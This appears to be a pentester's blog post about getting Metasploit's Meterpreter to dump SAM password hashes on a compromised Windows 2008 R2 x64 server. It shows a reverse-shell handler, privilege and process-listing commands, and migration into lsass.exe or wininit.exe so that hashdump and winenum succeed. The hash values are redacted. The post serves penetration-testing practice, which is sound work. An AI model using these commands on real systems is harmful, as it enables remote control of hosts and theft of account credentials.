Dumping Hashes on Win2k8 R2 x64 with Metasploit

Update 19:00 – Also related to this is this post by Carlos Perez, Unfortunately the script is not yet in the metasploit trunk today. But you can download it and copy it to the appropriate folders in the meantime.
So, I compromised a Win2k8 R2 x64 host during a pen test and wanted to dump the password hashes, despite being system -which is as high as you can get on windows- I couldn’t:
/pentest/exploits/framework3/msfcli multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp_allports LHOST=192.168.0.127 LPORT=xxxx E
[*] Please wait while we load the module tree…
=[ metasploit vxxxx-dev [core:xxx api:xxx]
+ — –=[ xxx exploits – xxx auxiliary – xx post
+ — –=[ xxx payloads – xx encoders – x nops
=[ svn xxxxxx updated today (xxxx.xx.xx)
PAYLOAD => windows/meterpreter/reverse_tcp_allports
LHOST => 192.168.0.127
LPORT => xxxx
[*] Started reverse handler on 192.168.0.127:xxxx
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to xx.xx.xx.xx
[*] Meterpreter session 1 opened (192.168.0.127:xxxx -> xx.xx.xx.xx:12830) at xxx xxx xx xx:xx:xx +0200 xxxx
meterpreter > sysinfo
System Language : en_xx
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Computer : server_name
Architecture : x64
Meterpreter : x64/win64
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
I kept getting these errors:
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
getsystem (as if I wasn’t already! ;)) does not work either:
meterpreter > getsystem
…got system (via technique 1).
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
getprivs does not help either!:
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeTcbPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
I was confused about this and after some Googling I found this awesome blog post by Mubix, he had the same issues and there are a few workarounds both in his blog post and the comments. What comes next is what I found after experimenting from reading that blog post.
The funny thing is that run hashdump works straightaway (no privs, process migration, etc needed):
meterpreter > run hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY e6……………………
[*] Obtaining the user list and keys…
[*] Decrypting user keys…
[*] Dumping password hashes…
Administrator:500:hash:hash:::
Guest:501:hash:hash:::
other_user1:1000:hash:hash:::
other_user2:1001:hash:hash:::
other_user3:1002:hash:hash:::
I found that migrating to the lsass.exe or wininit.exe made hashdump work straightaway too:
meterpreter > ps
Process list
============
PID Name Arch Session User Path
— —- —- ——- —- —-
0 [System Process]
4 System x64 0
212 smss.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32smss.exe
296 csrss.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe
348 wininit.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32wininit.exe
356 csrss.exe x64 1 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe
384 winlogon.exe x64 1 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe
444 services.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32services.exe
452 lsass.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsass.exe
….
Migrating to wininit.exe works! (even though the process has the same privileges we already had):
meterpreter > migrate 348
[*] Migrating to 348…
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:hash:hash:::
Guest:501:hash:hash:::
other_user1:1000:hash:hash:::
other_user2:1001:hash:hash:::
other_user3:1002:hash:hash:::

It also works migrating to the lsass.exe process and probably many others that are NT AUTHORITYSYSTEM:

meterpreter > migrate 452
[*] Migrating to 452…
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:hash:hash:::
Guest:501:hash:hash:::
other_user1:1000:hash:hash:::
other_user2:1001:hash:hash:::
other_user3:1002:hash:hash:::
The important thing to note here is that it is perhaps best to migrate first to a higher privileged process (even if we are already NT AUTHORITYSYSTEM) and then run other post-exploitation scripts when hashdump does not work so that post-exploitation scripts execute as reliably as possible, for example, I got less errors running winenum after migrating to wininit.exe than before.
(Starting over)
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
….
[*] Extracting software list from registry
[*] Dumping password hashes…
[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
[*] Payload may be running with insuficient privileges!
[*] Getting Tokens…
[*] All tokens have been processed
[*] Done!
meterpreter >
However, if I now migrate to the wininit.exe process this works properly, like hashdump above:
meterpreter > migrate 348
[*] Migrating to 348…
[*] Migration completed successfully.
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
….
[*] Extracting software list from registry
[*] Dumping password hashes…
[*] Hashes Dumped
[*] Getting Tokens…
[*] All tokens have been processed
[*] Done!
meterpreter >
Migrating to other processes can sometimes be unstable, for example, sometimes migrating to the lsass.exe procress resulted in winenum finishing like this (after the software list should come the hash dumping, etc which is skipped with no error, other times I got a timeout error):
[*] Extracting software list from registry
meterpreter >
There are some funny things going on though, for example, even though hashdump would work after migrating to the wininit.exe process, run post/windows/gather/hashdump will not work straightaway!:
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY e6………………………………………………
[*] Obtaining the user list and keys…
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_enum_key: Operation failed: The handle is invalid.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
But .. if we run the hashdump command it works! ….:
meterpreter > hashdump
Administrator:500:hash:hash:::
Guest:501:hash:hash:::
other_user1:1000:hash:hash:::
other_user2:1001:hash:hash:::
other_user3:1002:hash:hash:::
And right after that run post/windows/gather/hashdump will start to work!:
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY e6……………………………………………
[*] Obtaining the user list and keys…
[*] Decrypting user keys…
[*] Dumping password hashes…
My only explanation is that perhaps the hashdump command “opens” something that is later expected by post/windows/gather/hashdump. Strange behaviour indeed 🙂
The point is that there could potentially be more things than “just” the hashes at stake and it might make sense to migrate the meterpreter payload into a more privileged process like, for example, wininit.exe (your mileage may vary) before and only then run the relevant post-exploitation scripts for best results (running at a higher privilege = less errors = more information gathered).